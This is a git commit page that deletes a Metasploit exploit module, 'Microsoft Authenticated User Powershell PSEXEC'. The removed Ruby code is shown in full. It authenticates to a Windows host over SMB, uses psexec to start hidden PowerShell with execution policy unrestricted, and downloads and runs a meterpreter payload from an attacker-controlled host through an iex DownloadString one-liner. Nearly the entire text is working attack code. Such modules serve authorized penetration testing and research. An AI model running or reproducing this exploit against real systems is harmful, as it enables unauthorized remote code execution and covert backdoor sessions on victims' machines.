Delete powershell_psexec.rb
jakxx
parent
0a63b40572
commit
45d554e6d9
|
|
@ -1,159 +0,0 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ManualRanking
|
||||
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Psexec
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Microsoft Authenticated User Powershell PSEXEC',
|
||||
'Description' => %q{
|
||||
This module uses a valid windows user account to pull a meterpreter payload via psexec (thanks to hdm and r3dy) and powershell. It then
|
||||
executes it within a powershell process. This module uses a slightly modified technique that was first detailed by
|
||||
@obscuresec using Powersploit. A custom payload option is avaliable via the LPATH variable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Andrew Smith "jakx" <jakx.ppr@gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$$',
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 15,
|
||||
'EXITFUNC' => 'process',
|
||||
'Payload' => 'windows/meterpreter/reverse_tcp'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://obscuresecurity.blogspot.com/2013/03/powersploit-metasploit-shells.html' ],
|
||||
[ 'URL', 'https://github.com/mattifestation/PowerSploit' ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 2048,
|
||||
'DisableNops' => true,
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SHARE', [ true, "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share", 'ADMIN$' ]),
|
||||
OptString.new('LHOST', [ true, "Host serving meterpreter payload", '' ]),
|
||||
OptString.new('ARCH', [ true, "Architecture of target host (x64 or x86). This options forces 32-bit powershell if machine is 64-bit", 'x64' ]),
|
||||
OptString.new('LPATH', [ false, "Set this variable to the path of a local file if you want to specify a custom payload, such as powersploit", "" ])
|
||||
], self.class )
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
|
||||
return "#{rhost}:#{rport}"
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
start_service(
|
||||
{'Uri' => {
|
||||
'Proc' => Proc.new { |cli, req|
|
||||
on_request_uri(cli, req)
|
||||
},
|
||||
'Path' => resource_uri
|
||||
}})
|
||||
|
||||
|
||||
print_status("Connecting to the server...")
|
||||
connect()
|
||||
|
||||
#Authenticate to target machine
|
||||
print_status("Authenticating to #{smbhost} as user '#{splitname(datastore['SMBUser'])}'...")
|
||||
smb_login()
|
||||
|
||||
if (not simple.client.auth_user)
|
||||
print_line(" ")
|
||||
print_error(
|
||||
"FAILED! The remote host has only provided us with Guest privileges. " +
|
||||
"Please make sure that the correct username and password have been provided. " +
|
||||
"Windows XP systems that are not part of a domain will only provide Guest privileges " +
|
||||
"to network logins by default."
|
||||
)
|
||||
print_line(" ")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
resource=get_resource[1..-1]
|
||||
payload="#{resource}"
|
||||
|
||||
#Determine if LPATH or MSF payload needs to be used
|
||||
if (datastore['LPATH'] == "")
|
||||
print_status("No custom payload specified, using metasploit payload")
|
||||
elsif File.exists?("#{datastore['LPATH']}")
|
||||
print_status("Good, your custom payload exists, using #{datastore['LPATH']}")
|
||||
else
|
||||
print_error("Specified file #{datastore['LPATH']} does not exist...exiting...")
|
||||
return
|
||||
end
|
||||
|
||||
#Define x64 and x32 specific commands
|
||||
print_status("Pulling payload from #{datastore['LHOST']} and executing..")
|
||||
|
||||
cmd="cmd.exe /c powershell.exe start-process powershell.exe -Argument '-windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted " <<
|
||||
"-command \"iex ((new-object net.webclient).DownloadString(''http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{payload}''))\"'"
|
||||
|
||||
cmd64="cmd.exe /c powershell.exe start-process \"$env:WINDIR\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" " <<
|
||||
"-Argument '-windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted " <<
|
||||
"-command \"iex ((new-object net.webclient).DownloadString(''http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{payload}''))\"'"
|
||||
|
||||
begin
|
||||
if (datastore['ARCH'] == "x86")
|
||||
result=psexec(cmd)
|
||||
elsif (datastore['ARCH'] == "x64")
|
||||
result2=psexec(cmd64)
|
||||
else
|
||||
print_error("You did not specify a valid target machine architecture!")
|
||||
return
|
||||
end
|
||||
|
||||
if (result)
|
||||
print_status("x86 architecture command sent. Waiting for session...")
|
||||
end
|
||||
if (result2)
|
||||
print_status("x64 architecture command sent. Waiting for session...")
|
||||
end
|
||||
rescue Rex::Proto::SMB::Exceptions::Error => exec_error
|
||||
print_error("#{peer} - Unable to execute command: #{exec_error}")
|
||||
return
|
||||
end
|
||||
|
||||
#Give time for payload to execute
|
||||
select(nil, nil, nil, 25)
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("handling request for #{request.uri}")
|
||||
if (datastore['LPATH'] != "")
|
||||
script = File.read("#{datastore['LPATH']}")
|
||||
else
|
||||
script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)
|
||||
end
|
||||
send_response(cli, script, { 'Content-Type' => 'text/plain' })
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue